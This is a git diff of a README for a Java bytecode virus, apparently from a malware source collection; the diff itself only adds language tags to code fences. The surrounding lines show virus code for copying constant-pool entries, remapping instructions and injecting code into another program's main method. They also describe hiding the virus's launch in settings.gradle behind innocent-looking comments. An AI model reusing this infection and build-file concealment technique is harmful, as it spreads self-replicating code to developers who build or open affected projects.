diff --git a/Java/Virus.Java.Cheshire.a/README.md b/Java/Virus.Java.Cheshire.a/README.md index b33e0b19..61ca48c6 100644 --- a/Java/Virus.Java.Cheshire.a/README.md +++ b/Java/Virus.Java.Cheshire.a/README.md @@ -99,7 +99,7 @@ The viurs should be flexible and allow for advanced payloads specific by the use This is probably the easiest part of the whole process. Our code for doing this is: -``` +```java public static int copyConstant(HashMap origin, int origin_index, HashMap destination){ byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); byte[] orig_constant = constant_pool[origin_index-1]; @@ -253,7 +253,7 @@ merely a matter of adding it to an index of methods, the real challenge is in en methods to actually function at runtime. The workhorse of the virus for this is the instructionIndex method: - ``` + ```java public static int instructionIndex(int index, ArrayList oldList, ArrayList newList){ int oldposition = 0; int newposition = 0; @@ -311,7 +311,7 @@ is that it took forever to get functioning without errors. The last part of our process after we copy our methods is actually inject instructions into a function that we did not write and have no control over. The good news for me is that this didn't require too much extra work. -``` +```java public static void inject(HashMap origin, HashMap destination){ //Are there any functions called main? //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame @@ -390,7 +390,7 @@ probably also works in Android studio. I haven't tried it myself - maybe you sho The trick is very simple: In settings.gradle in your project, place some innocent looking comments and code: -``` +```gradle task testSuite(type: JavaExec) { jar classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')